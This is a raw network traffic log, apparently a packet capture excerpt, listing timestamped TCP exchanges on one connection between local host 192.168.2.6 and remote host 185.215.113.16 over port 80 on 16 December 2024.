Dec 16, 2024 15:02:37.155724049 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.156630039 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.156641006 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.156652927 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.156708002 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.156708002 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.157342911 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.157474995 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.157548904 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.158202887 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.158216000 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.158353090 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.158996105 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.159051895 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.159285069 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.160096884 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.160218000 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.160315990 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.160963058 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.161030054 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.161665916 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.162187099 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.162302971 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.162503958 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.162635088 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.163130999 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.163501978 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.164021969 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.164107084 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.167345047 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.299983978 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.300040960 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.300301075 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.300394058 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.300539017 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.300687075 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.301477909 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.302037001 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.302145004 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.302531004 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.303591967 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.303656101 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.303668976 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.303673983 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.303869009 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.304703951 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.305289030 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.305640936 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.305783033 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.305794954 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.305850983 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.305850983 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.306910038 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.307914972 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.307925940 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.307939053 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.308012962 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.308012962 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.308976889 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.309035063 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.309950113 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.310108900 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.310121059 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.310213089 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.311141968 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.311517954 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.311736107 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.312285900 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.312344074 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.312428951 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.313332081 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.313344002 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.313482046 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.314528942 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.315538883 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.315557003 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.315572023 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.315610886 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.315640926 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.316571951 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.317338943 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.317588091 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.317600965 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.317626953 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.317668915 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.317668915 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.318655014 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.319391966 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.319467068 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.319773912 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.319787025 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.319888115 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.320791006 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.320858002 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.321338892 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.321887970 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.321964979 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.322262049 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.322751999 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.322938919 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.323074102 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.323194027 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.323326111 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.324027061 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.324132919 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.324356079 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.324421883 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.325093985 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.325155973 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.325400114 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.325489998 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.326231956 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.326447964 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.326627016 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.326683044 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.327373981 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.327483892 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.327537060 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.328382015 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.328516960 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.328552008 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.328710079 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.329375029 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.329543114 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.329632998 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.330537081 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.330595970 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.330964088 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.331249952 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.331548929 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.331594944 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.331769943 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.331914902 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.332632065 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.332779884 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.332952976 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.333307981 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.333683968 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.333856106 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.333966017 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.334012032 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.334867954 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.334917068 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.335350990 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.335452080 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.336193085 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.336253881 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.336255074 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.336611032 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.337542057 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.337629080 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.338598013 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.338614941 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.338629961 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.338664055 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.339339972 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.339799881 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.339987993 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.340125084 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.340821981 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.340881109 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.340965986 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.341762066 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.342101097 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.342178106 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.342629910 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.343017101 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.343097925 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.343487978 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.343621016 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.344001055 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.344541073 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.344647884 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.345599890 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.345613003 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.345629930 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.345702887 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.345702887 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.346587896 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.347721100 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.347733021 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.347803116 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.347829103 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.348799944 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.348874092 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.349390984 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.350487947 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.350594044 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.350608110 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.351135969 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.351213932 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.351747036 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.352056980 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.352068901 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.352147102 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.352147102 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.353300095 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.353363037 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.353821039 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.354228973 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.354974985 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.355010986 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.355011940 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.355200052 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.355222940 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.355340958 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.356195927 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.356473923 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.492219925 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.492542028 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.492630959 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.492697001 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.492711067 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.492753029 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.492798090 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.493716002 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.494230986 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.494369030 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.494791031 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.495121956 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.495337009 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.495893002 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.495954990 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.496138096 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.496932983 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.497040987 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.498029947 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.498043060 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.498054981 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.498100042 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.498100042 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.499073029 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.499208927 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.500030994 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.500185966 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.500197887 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.500253916 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.500253916 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.501224995 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.501424074 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.501494884 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.502345085 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.502456903 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.503503084 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.503516912 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.503530025 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.503578901 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.503596067 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.504415989 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.504626989 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.504678965 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.505534887 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.505548000 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.505692959 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.506613016 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.506702900 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.507663965 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.507679939 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.507694006 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.507751942 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.507751942 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.508753061 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.508909941 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.509241104 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.509815931 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.509828091 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.509876013 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.510865927 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.510960102 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.511811972 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.511976957 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.511989117 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.512058973 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.512058973 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.513252020 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.513266087 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.513344049 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.514400959 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.514564991 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.514719009 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.515443087 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.515647888 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.515712976 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.516403913 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.516598940 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.516606092 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.517327070 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.517332077 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.518356085 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.518404961 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.518418074 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.518441916 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.518496990 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.519553900 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.519682884 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.520056009 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.520833969 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.521004915 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.521135092 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.521490097 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.521939039 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.522600889 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.522726059 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.522738934 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.522753000 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.523133993 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.523751020 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.523956060 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.524264097 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.524882078 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.525242090 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.526109934 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.526122093 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.526160002 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.526199102 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.526199102 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.527107954 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.527278900 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.527332067 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.527332067 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.528050900 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.528194904 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.529062986 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.529175997 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.529187918 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.529207945 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.529207945 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.529241085 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.530214071 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.530505896 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.530689955 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.531258106 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.531933069 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.532130957 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.532618999 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.532824039 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.532918930 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.533288956 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.533652067 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.533885956 CET	49938	80	192.168.2.6	185.215.113.16
